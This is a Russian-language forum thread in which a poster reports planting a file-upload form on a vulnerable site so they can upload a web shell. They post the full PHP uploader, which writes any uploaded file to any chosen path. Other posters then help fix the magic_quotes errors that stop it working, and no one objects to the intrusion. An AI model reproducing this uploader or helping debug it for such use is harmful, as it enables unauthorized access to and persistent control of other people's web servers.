Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида: Code: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8 Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8 Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9 Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9 Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10 Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10 Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10 Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11 Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12 Сам скрипт формы: PHP: <?php if (!defined('BLOCK_FILE')) { Header("Location: ../index.php"); exit; } $self = stripslashes($_SERVER['PHP_SELF']); $docr = stripslashes($_SERVER['DOCUMENT_ROOT']); $sern = stripslashes($_SERVER['SERVER_NAME']); $tend = "</tr></form></table><br><br><br><br>"; if (!empty($_GET['ac'])) {$ac = stripslashes($_GET['ac']);} elseif (!empty($_POST['ac'])) {$ac = stripslashes($_POST['ac']);} else {$ac = "upload";} switch($ac) { case "upload": echo <<<HTML <table> <form enctype=multipart/form-data action=$self method=POST> <input type=hidden name=ac value=upload> <tr> <input size=5 name=file type=file></td> </tr> <tr> <td><input size=10 value=$docr name=path type=text><input type=submit value=ОК></td> $tend HTML; if (isset($_POST['path'])){ $uploadfile = stripslashes($_POST['path'].$_FILES['file']['name']); if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} if (copy($_FILES['file']['tmp_name'], $uploadfile)) { echo "Файл ".$_FILES['file']['name']." загружен"; } else { print ("Не удаётся загрузить файл. Инф:\n"); print_r($_FILES); } } break; } ?> На сервере установлено расширение magic_quotes_gpc. Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?
PHP: if ( ini_get("magic_quotes_gpc") == 1 ) { foreach ( $_GET as $id => $v ) $_GET[$id] = stripslashes($v); foreach ( $_POST as $id => $v ) $_POST[$id] = stripslashes($v); foreach ( $_COOKIE as $id => $v ) $_COOKIE[$id] = stripslashes($v); }
К сожалению, не помогло. В строках, везде где содержатся апострофы, принудительное экранирование так и не пропало.
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки + в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на $_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']
Да, на сайте используется система блоков. На сервере с выключенным magic_quotes, скрипт работает без ошибок. + Спасибо, за хинт
если файл подключается через include то функцию stripslashes и вообще все input данные надо обрабатывать в конечном файле - по крайней мере так написано было в той литературе, с помощью которой я знакомился с пхп. попробуй изменить include на require и убери ото всюду функцию stripslashes заменив кодом из #3 сообщения, а так же попробуй заменить блок <<<HTML HTML; на конструкцию echo ""; но скорее всего проблема в include
как как, вот так: PHP: <?php if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); } ?>
2m0Hze если ты без иронии то (c)php.net - http://www.php.net/manual/ru/security.magicquotes.disabling.php